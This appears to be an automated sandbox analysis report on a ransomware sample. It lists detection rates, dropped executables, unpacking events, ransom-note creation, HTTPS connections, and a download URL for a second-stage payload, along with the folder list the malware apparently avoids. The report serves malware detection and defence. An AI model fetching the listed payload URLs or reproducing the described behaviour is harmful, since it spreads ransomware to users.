Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E

Multi AV Scanner detection for domain / URL

Source: sdfjhuz.com	Virustotal: Detection: 23%	Perma Link
Source: http://sdfjhuz.com/dl/build2.exep	Virustotal: Detection: 21%	Perma Link
Source: http://sdfjhuz.com/dl/build2.exe	Virustotal: Detection: 26%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Virustotal: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Virustotal: Detection: 87%	Perma Link

Multi AV Scanner detection for submitted file

Source: rq0mVjR9ar.exe

Virustotal: Detection: 42%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: rq0mVjR9ar.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040E870
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	2_2_0040EA51
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040EAA0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	2_2_0040EC68
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	2_2_00410FC0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00411178 CryptDestroyHash,CryptReleaseContext,	2_2_00411178
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040E870
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040EAA0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	6_2_00410FC0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00411178 CryptDestroyHash,CryptReleaseContext,	6_2_00411178
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	6_2_0040EA51
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	6_2_0040EC68

Source: rq0mVjR9ar.exe, 00000006.00000003.2442300607.0000000003361000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_8f672d37-a

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Unpacked PE file: 2.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Unpacked PE file: 6.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 8.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Unpacked PE file: 10.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 14.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 25.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 27.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: rq0mVjR9ar.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File created: C:\Users\user\_README.txt

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.17.209.196:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49724 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n\\KR source: rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: rq0mVjR9ar.exe, 00000006.00000003.2522371070.0000000003147000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511797013.0000000003136000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2603881098.00000000038CA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\o source: rq0mVjR9ar.exe, 00000006.00000003.2489732570.0000000003400000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tion Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\o source: rq0mVjR9ar.exe, 00000006.00000003.2490372024.0000000003403000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541058577.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2510778480.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\k5 source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490372024.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442438205.000000000339A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\K source: rq0mVjR9ar.exe, 00000006.00000003.2540942065.000000000349A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2540164201.0000000003495000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2609454306.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512458072.00000000036B1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512593109.00000000036D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\q source: rq0mVjR9ar.exe, 00000006.00000003.2582692629.000000000318D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574853788.0000000003192000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574509075.0000000003187000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583948558.0000000003198000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000009.00000002.2182022207.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2178413579.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 0000000A.00000000.2180367922.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ory\ source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\y\ source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575677346.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575470738.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576886859.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\db\H source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\21\" source: rq0mVjR9ar.exe, 00000006.00000003.2540942065.000000000349A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2540164201.0000000003495000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\bx\ source: rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003793000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2606961290.00000000037DA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603069159.000000000379A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000000.2222553378.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000002.2319042140.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2603881098.00000000038CA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576930797.000000000336E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574406401.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583556652.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583982466.000000000382A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583009050.0000000003363000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2588209575.000000000388D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\j source: rq0mVjR9ar.exe, 00000006.00000003.2603783323.00000000034BA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2604350418.00000000034CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: rq0mVjR9ar.exe, 00000006.00000003.2490372024.0000000003403000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489732570.0000000003400000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490481172.000000000340A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\h source: rq0mVjR9ar.exe, 00000006.00000003.2603679756.0000000003398000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583556652.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583982466.000000000382A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\story\ source: rq0mVjR9ar.exe, 00000006.00000003.2612044601.0000000003859000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2608757399.0000000003839000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2609220358.000000000384A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\3o source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575677346.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575470738.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576886859.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: rq0mVjR9ar.exe, 00000006.00000003.2523440020.000000000348F000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510778480.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2606911101.00000000038DA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603881098.00000000038CA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2541058577.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2539227981.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489842001.00000000033AC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512532428.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510402599.000000000339E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\c source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\? source: rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003169000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489623669.000000000316C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511563648.0000000003187000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511354031.000000000316C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512695111.0000000003192000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511154019.0000000003169000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490514193.000000000318A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2612044601.0000000003859000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2608757399.0000000003839000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2609220358.000000000384A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\W source: rq0mVjR9ar.exe, 00000006.00000003.2589165901.000000000339E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582817226.0000000003377000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583041856.000000000338E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\AC\ source: rq0mVjR9ar.exe, 00000006.00000003.2489978712.00000000030F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\State\ source: rq0mVjR9ar.exe, 00000006.00000003.2587974255.00000000036D9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2593094143.00000000036E8000.00000004.00000020.00020000.00000000.sdmp
